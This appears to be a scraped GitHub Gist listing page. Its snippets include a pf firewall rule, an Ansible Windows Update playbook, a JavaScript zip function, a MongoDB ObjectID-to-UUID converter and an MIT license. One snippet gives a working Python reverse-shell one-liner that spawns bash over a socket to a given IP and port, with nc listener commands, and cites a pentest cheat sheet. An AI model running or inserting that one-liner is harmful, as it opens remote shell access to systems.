Skip to content

Instantly share code, notes, and snippets.

View koi8-r's full-sized avatar
🐧

Valentin Nagornyy koi8-r

🐧
View GitHub Profile
Add
scrub on bridge100 all min-ttl 65
to
'/etc/pf.conf'
Reload with
sudo pfctl -f /etc/pf.conf
Check with
sudo pfctl -sa
@damonjw
damonjw / LICENSE
Last active October 13, 2024 18:18
Event driven simulator in Python, using async/await
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
@elordahl
elordahl / win_update.yml
Last active November 17, 2023 16:35
Ansible playbook to run Windows Update and restart, if required
---
# Ansible playbook to run Windows Update and restart, if required
#
# http://docs.ansible.com/ansible/win_updates_module.html
# https://docs.ansible.com/ansible/win_reboot_module.html
- name: Windows Update
hosts: all
gather_facts: false
tasks:
@jonschlinkert
jonschlinkert / zip.js
Last active February 8, 2024 08:26
versatile JavaScript "zip" function. Works with objects, arrays, and yep - even strings.
function zip(a, b) {
var arr = [];
for (var key in a) arr.push([a[key], b[key]]);
return arr;
}
console.log(zip('foo', 'bar'));
//=> [ [ 'f', 'b' ], [ 'o', 'a' ], [ 'o', 'r' ] ]
console.log(zip(['a', 'b', 'c'], ['x', 'y', 'z']));
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@enaeseth
enaeseth / objectid_to_uuid.py
Created June 12, 2013 19:29
Convert a MongoDB ObjectID to a valid, semantically similar UUID.
"""
Convert a MongoDB ObjectID to a version-1 UUID.
Python 2.7+ required for datetime.timedelta.total_seconds().
ObjectID:
- UNIX timestamp (32 bits)
- Machine identifier (24 bits)
- Process ID (16 bits)
- Counter (24 bits)